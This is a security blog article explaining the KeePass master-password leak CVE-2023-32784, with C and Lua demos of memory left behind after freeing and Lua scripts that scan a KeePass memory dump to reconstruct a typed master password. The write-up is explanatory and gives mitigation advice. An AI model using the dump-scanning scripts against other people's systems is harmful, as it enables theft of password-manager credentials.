Serious Security: That KeePass “master password crack”, and what we can learn from it
Credit to Author: Paul Ducklin| Date: Wed, 31 May 2023 17:39:00 +0000
Over the last two weeks, we’ve seen a series of articles talking up what’s been described as a “master password crack” in the popular open-source password manager KeePass.
The bug was considered important enough to get an official US government identifier (it’s known as CVE-2023-32784, if you want to hunt it down), and given that the master password to your password manager is pretty much the key to your whole digital castle, you can understand why the story provoked lots of excitement.
The good news is that an attacker who wanted to exploit this bug would almost certainly need to have infected your computer with malware already, and would therefore be able to spy on your keystrokes and running programs anyway.
In other words, the bug can be considered an easily-managed risk until the creator of KeePass comes out with an update, which should appear soon (at the beginning of June 2023, apparently).
As the discloser of the bug takes care to point out:
If you use full disk encryption with a strong password and your system is [free from malware], you should be fine. No one can steal your passwords remotely over the internet with this finding alone.
The risks explained
Heavily summarised, the bug boils down to the difficulty of ensuring that all traces of confidential data are purged from memory once you’ve finished with them.
We’ll ignore here the problems of how to avoid having secret data in memory at all, even briefly.
In this article, we just want to remind programmers everywhere that code approved by a security-conscious reviewer with a comment such as “appears to clean up correctly after itself”…
…might in fact not clean up fully at all, and the potential data leakage might not be obvious from a direct study of the code itself.
Simply put, the CVE-2023-32784 vulnerability means that a KeePass master password might be recoverable from system data even after the KeyPass program has exited, because sufficient information about your password (albeit not actually the raw password itself, which we’ll focus on in a moment) might get left behind in sytem swap or sleep files, where allocated system memory may end up saved for later.
On a Windows computer where BitLocker isn’t used to encrypt the hard disk when the system is turned off, this would give a crook who stole your laptop a fighting chance of booting up from a USB or CD drive, and recovering your master password even though the KeyPass program itself takes care never to save it permanently to disk.
A long-term password leak in memory also means that the password could, in theory, be recovered from a memory dump of the KeyPass program, even if that dump was grabbed long after you’d typed the password in, and long after the KeePass itself had no more need to keep it around.
Clearly, you should assume that malware already on your system could recover almost any typed-in password via a variety of real-time snooping techniques, as long as they were active at the time you did the typing. But you might reasonably expect that your time exposed to danger would be limited to the brief period of typing, not extended to many minutes, hours or days afterwards, or perhaps longer, including after you shut your computer down.
What gets left behind?
We therefore thought we’d take a high-level look at how secret data can get left behind in memory in ways that aren’t directly obvious from the code.
Don’t worry if you aren’t a programmer – we’ll keep it simple, and explain as we go.
We’ll start by looking at memory use and cleanup in a simple C program that simulates entering and temporarily storing a password by doing the following:
- Allocating a dedicated chunk of memory specially to store the password.
- Inserting a known text string so we can easily find it in memory if needed.
- Appending 16 pseudo-random 8-bit ASCII characters from the range A-P.
- Printing out the simulated password buffer.
- Freeing up the memory in the hope of expunging the password buffer.
- Exiting the program.
Greatly simplified, the C code might look something like this, with no error checking, using poor-quality pseudo-random numbers from the C runtime function rand()
, and ignoring any buffer overflow checks (never do any of this in real code!):
// Ask for memory char* buff = malloc(128); // Copy in fixed string we can recognise in RAM strcpy(buff,"unlikelytext"); // Append 16 pseudo-random ASCII characters for (int i = 1; i <= 16; i++) { // Choose a letter from A (65+0) to P (65+15) char ch = 65 + (rand() & 15); // Modify the buff string directly in memory strncat(buff,&ch,1); } // Print it out, so we're done with buff printf("Full string was: %sn",buff); // Return the unwanted buffer and hope that expunges it free(buff);
In fact, the code we finally used in our tests includes some additional bits and pieces shown below, so that we could dump the full contents of our temporary password buffer as we used it, to look for unwanted or left-over content.
Note that we deliberately dump the buffer after calling free()
, which is technically a use-after-free bug, but we are doing it here as a sneaky way of seeing whether anything critical gets left behind after handing our buffer back, which could lead to a dangerous data leakage hole in real life.
We’ve also inserted two Waiting for [Enter]
prompts into the code to give ourselves a chance to create memory dumps at key points in the program, giving us raw data to search later, in order to see what was left behind as the program ran.
To do memory dumps, we’ll be using the Microsoft Sysinternals tool procdump
with the -ma
option (dump all memory), which avoids the need to write our own code to use the Windows DbgHelp
system and its rather complex MiniDumpXxxx()
functions.
To compile the C code, we used our own small-and-simple build of Fabrice Bellard’s free and open-source Tiny C Compiler, available for 64-bit Windows in source and binary form directly from our GitHub page.
Copy-and-pastable text of all the source code pictured in the article appears at the bottom of the page.
This is what happened when we compiled and ran the test program:
C:UsersduckKEYPASS> petcc64 -stdinc -stdlib unl1.c Tiny C Compiler - Copyright (C) 2001-2023 Fabrice Bellard Stripped down by Paul Ducklin for use as a learning tool Version petcc64-0.9.27 [0006] - Generates 64-bit PEs only -> unl1.c -> c:/users/duck/tcc/petccinc/stdio.h [. . . .] -> c:/users/duck/tcc/petcclib/libpetcc1_64.a -> C:/Windows/system32/msvcrt.dll -> C:/Windows/system32/kernel32.dll ------------------------------- virt file size section 1000 200 438 .text 2000 800 2ac .data 3000 c00 24 .pdata ------------------------------- <- unl1.exe (3584 bytes) C:UsersduckKEYPASS> unl1.exe Dumping 'new' buffer at start 00F51390: 90 57 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .W......P....... 00F513A0: 73 74 65 6D 33 32 5C 63 6D 64 2E 65 78 65 00 44 stem32cmd.exe.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF 00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter 00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 net ExplzV.<.K.. Full string was: unlikelytextJHKNEJJCPOMDJHAN 00F51390: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 4A 48 4B 4E unlikelytextJHKN 00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF 00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter 00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 net ExplzV.<.K.. Waiting for [ENTER] to free buffer... Dumping buffer after free() 00F51390: A0 67 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .g......P....... 00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D 00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win 00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr 00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData 00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_ 00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF 00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter 00F51410: 6E 65 74 20 45 78 70 6C 4D 00 00 4D AC 4B 00 00 net ExplM..M.K.. Waiting for [ENTER] to exit main()... C:UsersduckKEYPASS>
In this run, we didn’t bother grabbing any process memory dumps, because we could see right away from the output that this code leaks data.
Right after calling the Windows C runtime library function malloc()
, we can see that the buffer we get back includes what looks like environment variable data left over from the program’s startup code, with the first 16 bytes apparently altered to look like some sort of left-over memory allocation header.
(Note how those 16 bytes look like two 8-byte memory addresses, 0xF55790
and 0xF50150
, that are just after and just before our own memory buffer respectively.)
When the password is supposed to be in memory, we can see the entire string clearly in the buffer, as we would expect.
But after calling free()
, note how the first 16 bytes of our buffer have been rewritten with what look like nearby memory addresses once again, presumably so the memory allocator can keep track of blocks in memory that it can re-use…
… but the rest of the our “expunged” password text (the last 12 random characters EJJCPOMDJHAN
) has been left behind.
Not only do we need to manage our own memory allocations and de-allocations in C, we also need to ensure that we choose the right system functions for data buffers if we want to control them precisely.
For example, by switching to this code instead, we get a bit more control over what’s in memory:
By switching from malloc()
and free()
to use the lower-level Windows allocation functions VirtualAlloc()
and VirtualFree()
directly, we get better control.
However, we pay a price in speed, because each call to VirtualAlloc()
does more work that a call to malloc()
, which works by continually dividing and subdividing a block of pre-allocated low-level memory.
Using VirtualAlloc()
repeatedly for small blocks also uses up more memory overall, because each block dished out by VirtualAlloc()
typically consumes a multiple of 4KB of memory (or 2MB, if you are using so-called large memory pages), so that our 128-byte buffer above is rounded up to 4096 bytes, wasting the 3968 bytes at the end of the 4KB memory block.
But, as you can see, the memory we get back is automatically blanked out (set to zero), so we can’t see what was there before, and this time the program crashes when we try to do our use-after-free trick, because Windows detects that we’re trying to peek at memory we no longer own:
C:UsersduckKEYPASS> unl2 Dumping 'new' buffer at start 0000000000EA0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Full string was: unlikelytextIBIPJPPHEOPOIDLL 0000000000EA0000: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 49 42 49 50 unlikelytextIBIP 0000000000EA0010: 4A 50 50 48 45 4F 50 4F 49 44 4C 4C 00 00 00 00 JPPHEOPOIDLL.... 0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ Waiting for [ENTER] to free buffer... Dumping buffer after free() 0000000000EA0000: [Program terminated here because Windows caught our use-after-free]
Because the memory we freed up will need re-allocating with VirtualAlloc()
before it can be used again, we can assume that it will be zeroed out before it’s recycled.
However, if we wanted to make sure it was blanked out, we could call the special Windows function RtlSecureZeroMemory()
just before freeing it, to guarantee that Windows will write zeros into our buffer first.
The related function RtlZeroMemory()
, if you were wondering, does a similar thing, but without the guarantee of actually working, because compilers are allowed to remove it as theoretically redundant if they notice that the buffer is not used again afterwards.
As you can see, we need to take considerable care to use the right Windows functions if we want to miminise the time that secrets stored in memory may lie around for later.
In this article, we aren’t going to look at how you prevent secrets getting saved out accidentally to your swap file by locking them into physical RAM. (Hint: VirtualLock()
isn’t actually enough on its own.) If you would like to know more about low-level Windows memory security, let us know in the comments and we will look at it in a future article.
Using automatic memory management
One neat way to avoid having to allocate, manage and deallocate memory by ourselves is to use a programming language that takes care of malloc()
and free()
, or VirtualAlloc()
and VirtualFree()
, automatically.
Scripting language such as Perl, Python, Lua, JavaScript and others get rid of the most common memory saftey bugs that plague C and C++ code, by tracking memory usage for you in the background.
As we mentioned earlier, our badly-written sample C code above works fine now, but only because it’s still a super-simple program, with fixed-size data structures, where we can verify by inspection that we won’t overwrite our 128-byte buffer, and that there is only one execution path that starts with malloc()
and ends with a corresponding free()
.
But if we updated it to allow variable-length password generation, or added additional features into the generation process, then we (or whoever maintains the code next) could easily end up with buffer overflows, use-after-free bugs, or memory that never gets freed up and therefore leaves secret data hanging around long after it is no longer needed.
In a language like Lua, we can let the Lua run-time environment, which does what’s known in the jargon as automatic garbage collection, deal with acquiring memory from the system, and returning it when it detects we’ve stopped using it.
The C program we listed above becomes very much simpler when memory allocation and de-allocation are taken care of for us:
We allocate memory to hold the string s
simply by assigning the string 'unlikelytext'
to it.
We can later either hint to Lua explicitly that we are no longer interested in s
by assigning it the value nil
(all nils
are essentially the same Lua object), or stop using s
and wait for Lua to detect that it’s no longer needed.
Either way, the memory used by s
will eventually be recovered automatically.
And to prevent buffer overflows or size mismanagement when appending to text strings (the Lua operator ..
, pronounced concat, essentially adds two strings together, like +
in Python), every time we extend or shorten a string, Lua magically allocates space for a brand new string, rather than modifying or replacing the original one in its existing memory location.
This approach is slower, and leads to memory usage peaks that are higher than you’d get in C due to the intermediate strings allocated during text manipulation, but it’s much safer in respect of buffer overflows.
But this sort of automatic string management (known in the jargon as immutability, because strings never get mutated, or modified in place, once they’ve been created), does bring new cybersecurity headaches of its own.
We ran the Lua program above on Windows, up to the second pause, just before the program exited:
C:UsersduckKEYPASS> lua s1.lua Full string is: unlikelytextHLKONBOJILAGLNLN Waiting for [ENTER] before freeing string... Waiting for [ENTER] before exiting...
This time, we took a process memory dump, like this:
C:UsersduckKEYPASS> procdump -ma lua lua-s1.dmp ProcDump v11.0 - Sysinternals process dump utility Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [00:00:00] Dump 1 initiated: C:UsersduckKEYPASSlua-s1.dmp [00:00:00] Dump 1 writing: Estimated dump file size is 10 MB. [00:00:00] Dump 1 complete: 10 MB written in 0.1 seconds [00:00:01] Dump count reached.
Then we ran this simple script, which reads the dump file back in, finds everywhere in memory that that the known string unlikelytext
appeared, and prints it out, together with its location in the dumpfile and the ASCII characters that immediately followed:
Even if you’ve used script languages before, or worked in any programming ecosystem that features so-called managed strings, where the system keeps track of memory allocations and deallocations for you, and handles them as it sees fit…
…you might be surprised to see the output that this memory scan produces:
C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp 006D8AFC: unlikelytextALJBNGOAPLLBDEB 006D8B3C: unlikelytextALJBNGOA 006D8B7C: unlikelytextALJBNGO 006D8BFC: unlikelytextALJBNGOAPLLBDEBJ 006D8CBC: unlikelytextALJBN 006D8D7C: unlikelytextALJBNGOAP 006D903C: unlikelytextALJBNGOAPL 006D90BC: unlikelytextALJBNGOAPLL 006D90FC: unlikelytextALJBNG 006D913C: unlikelytextALJBNGOAPLLB 006D91BC: unlikelytextALJB 006D91FC: unlikelytextALJBNGOAPLLBD 006D923C: unlikelytextALJBNGOAPLLBDE 006DB70C: unlikelytextALJ 006DBB8C: unlikelytextAL 006DBD0C: unlikelytextA
Lo and behold, at the time we grabbed our memory dump, even though we’d finished with the string s
(and told Lua that we didn’t need it any more by saying s = nil
), all the strings that the code had created along the way were still present in RAM, not yet recovered or deleted.
Indeed, if we sort the above output by the strings themselves, rather than following the order in which they appeared in RAM, you’ll be able to picture what happened during the loop where we concatenated one character at a time to our password string:
C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp | sort /+10 006DBD0C: unlikelytextA 006DBB8C: unlikelytextAL 006DB70C: unlikelytextALJ 006D91BC: unlikelytextALJB 006D8CBC: unlikelytextALJBN 006D90FC: unlikelytextALJBNG 006D8B7C: unlikelytextALJBNGO 006D8B3C: unlikelytextALJBNGOA 006D8D7C: unlikelytextALJBNGOAP 006D903C: unlikelytextALJBNGOAPL 006D90BC: unlikelytextALJBNGOAPLL 006D913C: unlikelytextALJBNGOAPLLB 006D91FC: unlikelytextALJBNGOAPLLBD 006D923C: unlikelytextALJBNGOAPLLBDE 006D8AFC: unlikelytextALJBNGOAPLLBDEB 006D8BFC: unlikelytextALJBNGOAPLLBDEBJ
All those temporary, intermediate strings are still there, so even if we had successfully wiped out the final value of s
, we’d still be leaking everything except its last character.
In fact, in this case, even when we deliberately forced our program to dispose of all unneeded data by calling the special Lua function collectgarbage()
(most scripting languages have something similar), most of the data in those pesky temporary strings stuck around in RAM anyway, because we’d compiled Lua to do its automatic memory management using good old malloc()
and free()
.
In other words, even after Lua itself reclaimed its temporary memory blocks to use them again, we couldn’t control how or when those memory blocks would get re-used, and thus how long they would lie around inside the process with their left-over data waiting to be sniffed out, dumped, or otherwise leaked.
Enter .NET
But what about KeePass, which is where this article started?
KeePass is written in C#, and uses the .NET runtime, so it avoids the problems of memory mismanagement that C programs bring with them…
…but C# manages its own text strings, rather like Lua does, which raises the question:
Even if the programmer avoided storing the entire master password on one place after he’d finished with it, could attackers with access to a memory dump nevertheless find enough left-over temporary data to guess at or recover the master password anyway, even if those attackers got access to your computer minutes, hours, or days after you’d typed the password in ?
Simply put, are there detectable, ghostly remnants of your master password that survive in RAM, even after you’d expect them to have been expunged?
Annoyingly, as Github user Vdohney discovered, the answer (for KeePass verions earlier than 2.54, at least) is, “Yes.”
To be clear, we don’t think that your actual master password can be recovered as a single text string from a KeePass memory dump, because the author created a special function for master password entry that goes out of its way to avoid storing the full password where it could easily be spotted and sniffed out.
We satisfied ourselves of this by setting our master password to SIXTEENPASSCHARS
, typing it in, and then taking memory dumps immediately, shortly, and long afterwards.
We searched the dumps with a simple Lua script that looked everwhere for that password text, both in 8-bit ASCII format, and in 16-bit UTF-16 (Windows widechar) format, like this:
The results were encouraging:
C:UsersduckKEYPASS> lua searchknown.lua kp2-post.dmp Reading in dump file... DONE. Searching for SIXTEENPASSCHARS as 8-bit ASCII... not found. Searching for SIXTEENPASSCHARS as UTF-16... not found.
But Vdohney, the discoverer of CVE-2023-32784, noticed that as you type in your master password, KeePass gives you visual feedback by constructing and displaying a placeholder string consisting of Unicode “blob” characters, up to and including the length of your password:
In widechar text strings on Windows (which consist of two bytes per character, not just one byte each as in ASCII), the “blob” character is encoded in RAM as the hex byte 0xCF
followed by 0x25
(which just happens to be a percent sign in ASCII).
So, even if KeePass is taking great care with the raw characters you type in when you enter the password itself, you might end up with left-over strings of “blob” characters, easily detectable in memory as repeated runs such as CF25CF25
or CF25CF25CF25
…
…and, if so, the longest run of blob characters you found would probably give away the length of your password, which would be a modest form of password information leakage, if nothing else.
We used the following Lua script to look for signs of left-over password placeholder strings:
The output was surprising (we have deleted successive lines with the same number of blobs, or with fewer blobs than the previous line, to save space):
C:UsersduckKEYPASS> lua findblobs.lua kp2-post.dmp 000EFF3C: * [. . .] 00BE621B: ** 00BE64C7: *** [. . .] 00BE6E8F: **** [. . .] 00BE795F: ***** [. . .] 00BE84F7: ****** [. . .] 00BE8F37: ******* [ continues similarly for 8 blobs, 9 blobs, etc. ] [ until two final lines of exactly 16 blobs each ] 00C0503B: **************** 00C05077: **************** 00C09337: * 00C09738: * [ all remaining matches are one blob long] 0123B058: *
At close-together but ever-increasing memory addresses, we found a systematic list of 3 blobs, then 4 blobs, and so on up to 16 blobs (the length of our password), followed by many randomly scattered instances of single-blob strings.
So, those placeholder “blob” strings do indeed seem to be leaking into memory and staying behind to leak the password length, long after the KeePass software has finished with your master password.
The next step
We decided to dig further, just like Vdohney did.
We changed our pattern matching code to detect chains of blob characters followed by any single ASCII character in 16-bit format (ASCII characters are represented in UTF-16 as their usual 8-bit ASCII code, followed by a zero byte).
This time, to save space, we have suppressed the output for any match that exactly matches the previous one:
Surprise, surprise:
C:UsersduckKEYPASS> lua searchkp.lua kp2-post.dmp 00BE581B: *I 00BE621B: **X 00BE6BD3: ***T 00BE769B: ****E 00BE822B: *****E 00BE8C6B: ******N 00BE974B: *******P 00BEA25B: ********A 00BEAD33: *********S 00BEB81B: **********S 00BEC383: ***********C 00BECEEB: ************H 00BEDA5B: *************A 00BEE623: **************R 00BEF1A3: ***************S 03E97CF2: *N 0AA6F0AF: *W 0D8AF7C8: *X 0F27BAF8: *S
Look what we get out of .NET’s managed string memory region!
A closely-bunched set of temporary “blob strings” that reveal the successive characters in our password, starting with the second character.
Those leaky strings are followed by widely-distributed single-character matches that we assume arose by chance. (A KeePass dump file is about 250MB in size, so there is plenty of room for “blob” characters to appear as if by luck.)
Even if we take those extra four matches into account, rather than discarding them as likely mismatches, we can guess that the master password is one of:
?IXTEENPASSCHARS ?NXTEENPASSCHARS ?WXTEENPASSCHARS ?SXTEENPASSCHARS
Obviously, this simple technique doesn’t find the first character in the password, because the first “blob string” is only constructed after that first character has been typed in
Note that this list is nice and short because we filtered out matches that didn’t end in ASCII characters.
If you were looking for characters in a different range, such as Chinese or Korean characters, you might end up with more accidental hits, because there are a lot more possible characters to match on…
…but we suspect you’ll get pretty close to your master password anyway, and the “blob strings” that relate to the password seem to be grouped together in RAM, presumably because they were allocated at about the same time by the same part of the .NET runtime.
And there, in an admittedly long and discursive nutshell, is the fascinating story of CVE-2023-32784.
What to do?
- If you’re a KeePass user, don’t panic. Although this is a bug, and is technically an exploitable vulnerability, remote attackers who wanted to crack your password using this bug would need to implant malware on your computer first. That would give them many other ways to steal your passwords directly, even if this bug didn’t exist, for example by logging your keystrokes as you type. At this point, you can simply watch out for the forthcoming update, and grab it when it’s ready.
- If you aren’t using full-disk encryption, consider enabling it. To extract left-over passwords from your swap file or hibernation file (operating system disk files used to save memory contents temporarily during heavy load or when your computer is “sleeping”), attackers would need direct access to your hard disk. If you have BitLocker or its equivalent for other operating systems activated, they won’t be able to access your swap file, your hibernation file, or any other personal data such as documents, spreadsheets, saved emails, and so on.
- If you’re a programmer, keep yourself informed about memory management issues. Don’t assume that just because every
free()
matches its correspondingmalloc()
that your data is safe and well-managed. Sometimes, you may need to take extra precautions to avoid leaving secret data lying around, and those precautions very from operating system to operating system. - If you’re a QA tester or a code reviewer, always think “behind the scenes”. Even if memory management code looks tidy and well-balanced, be aware of what’s happening behind the scenes (because the original programmer might not have known to do so), and get ready to do some pentesting-style work such as runtime monitoring and memory dumping to verify that secure code really is behaving as it’s supposed to.
CODE FROM THE ARTICLE: UNL1.C
#include <stdio.h> #include <string.h> #include <stdlib.h> void hexdump(unsigned char* buff, int len) { // Print buffer in 16-byte chunks for (int i = 0; i < len+16; i = i+16) { printf("%016X: ",buff+i); // Show 16 bytes as hex values for (int j = 0; j < 16; j = j+1) { printf("%02X ",buff[i+j]); } // Repeat those 16 bytes as characters for (int j = 0; j < 16; j = j+1) { unsigned ch = buff[i+j]; printf("%c",(ch>=32 && ch<=127)?ch:'.'); } printf("n"); } printf("n"); } int main(void) { // Acquire memory to store password, and show what // is in the buffer when it's officially "new"... char* buff = malloc(128); printf("Dumping 'new' buffer at startn"); hexdump(buff,128); // Use pseudorandom buffer address as random seed srand((unsigned)buff); // Start the password with some fixed, searchable text strcpy(buff,"unlikelytext"); // Append 16 pseudorandom letters, one at a time for (int i = 1; i <= 16; i++) { // Choose a letter from A (65+0) to P (65+15) char ch = 65 + (rand() & 15); // Then modify the buff string in place strncat(buff,&ch,1); } // The full password is now in memory, so print // it as a string, and show the whole buffer... printf("Full string was: %sn",buff); hexdump(buff,128); // Pause to dump process RAM now (try: 'procdump -ma') puts("Waiting for [ENTER] to free buffer..."); getchar(); // Formally free() the memory and show the buffer // again to see if anything was left behind... free(buff); printf("Dumping buffer after free()n"); hexdump(buff,128); // Pause to dump RAM again to inspect differences puts("Waiting for [ENTER] to exit main()..."); getchar(); return 0; }
CODE FROM THE ARTICLE: UNL2.C
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <windows.h> void hexdump(unsigned char* buff, int len) { // Print buffer in 16-byte chunks for (int i = 0; i < len+16; i = i+16) { printf("%016X: ",buff+i); // Show 16 bytes as hex values for (int j = 0; j < 16; j = j+1) { printf("%02X ",buff[i+j]); } // Repeat those 16 bytes as characters for (int j = 0; j < 16; j = j+1) { unsigned ch = buff[i+j]; printf("%c",(ch>=32 && ch<=127)?ch:'.'); } printf("n"); } printf("n"); } int main(void) { // Acquire memory to store password, and show what // is in the buffer when it's officially "new"... char* buff = VirtualAlloc(0,128,MEM_COMMIT,PAGE_READWRITE); printf("Dumping 'new' buffer at startn"); hexdump(buff,128); // Use pseudorandom buffer address as random seed srand((unsigned)buff); // Start the password with some fixed, searchable text strcpy(buff,"unlikelytext"); // Append 16 pseudorandom letters, one at a time for (int i = 1; i <= 16; i++) { // Choose a letter from A (65+0) to P (65+15) char ch = 65 + (rand() & 15); // Then modify the buff string in place strncat(buff,&ch,1); } // The full password is now in memory, so print // it as a string, and show the whole buffer... printf("Full string was: %sn",buff); hexdump(buff,128); // Pause to dump process RAM now (try: 'procdump -ma') puts("Waiting for [ENTER] to free buffer..."); getchar(); // Formally free() the memory and show the buffer // again to see if anything was left behind... VirtualFree(buff,0,MEM_RELEASE); printf("Dumping buffer after free()n"); hexdump(buff,128); // Pause to dump RAM again to inspect differences puts("Waiting for [ENTER] to exit main()..."); getchar(); return 0; }
CODE FROM THE ARTICLE: S1.LUA
-- Start with some fixed, searchable text s = 'unlikelytext' -- Append 16 random chars from 'A' to 'P' for i = 1,16 do s = s .. string.char(65+math.random(0,15)) end print('Full string is:',s,'n') -- Pause to dump process RAM print('Waiting for [ENTER] before freeing string...') io.read() -- Wipe string and mark variable unused s = nil -- Dump RAM again to look for diffs print('Waiting for [ENTER] before exiting...') io.read()
CODE FROM THE ARTICLE: FINDIT.LUA
-- read in dump file local f = io.open(arg[1],'rb'):read('*a') -- look for marker text followed by one -- or more random ASCII characters local b,e,m = 0,0,nil while true do -- look for next match and remember offset b,e,m = f:find('(unlikelytext[A-Z]+)',e+1) -- exit when no more matches if not b then break end -- report position and string found print(string.format('%08X: %s',b,m)) end
CODE FROM THE ARTICLE: SEARCHKNOWN.LUA
io.write('Reading in dump file... ') local f = io.open(arg[1],'rb'):read('*a') io.write('DONE.n') io.write('Searching for SIXTEENPASSCHARS as 8-bit ASCII... ') local p08 = f:find('SIXTEENPASSCHARS') io.write(p08 and 'FOUND' or 'not found','.n') io.write('Searching for SIXTEENPASSCHARS as UTF-16... ') local p16 = f:find('Sx00Ix00Xx00Tx00Ex00Ex00Nx00Px00'.. 'Ax00Sx00Sx00Cx00Hx00Ax00Rx00Sx00') io.write(p16 and 'FOUND' or 'not found','.n')
CODE FROM THE ARTICLE: FINDBLOBS.LUA
-- read in dump file specified on command line local f = io.open(arg[1],'rb'):read('*a') -- Look for one or more password blobs, followed by any non-blob -- Note that blob chars (●) encode into Windows widechars -- as litte-endian UTF-16 codes, coming out as CF 25 in hex. local b,e,m = 0,0,nil while true do -- We want one or more blobs, followed by any non-blob. -- We simplify the code by looking for an explicit CF25 -- followed by any string that only has CF or 25 in it, -- so we will find CF25CFCF or CF2525CF as well as CF25CF25. -- We'll filter out "false positives" later if there are any. -- We need to write '%%' instead of x25 because the x25 -- character (percent sign) is a special search char in Lua! b,e,m = f:find('(xCF%%[xCF%%]*)',e+1) -- exit when no more matches if not b then break end -- CMD.EXE can't print blobs, so we convert them to stars. print(string.format('%08X: %s',b,m:gsub('xCF%%','*'))) end
CODE FROM THE ARTICLE: SEARCHKP.LUA
-- read in dump file specified on command line local f = io.open(arg[1],'rb'):read('*a') local b,e,m,p = 0,0,nil,nil while true do -- Now, we want one or more blobs (CF25) followed by the code -- for A..Z followed by a 0 byte to convert ACSCII to UTF-16 b,e,m = f:find('(xCF%%[xCF%%]*[A-Z])x00',e+1) -- exit when no more matches if not b then break end -- CMD.EXE can't print blobs, so we convert them to stars. -- To save space we suppress successive matches if m ~= p then print(string.format('%08X: %s',b,m:gsub('xCF%%','*'))) p = m end end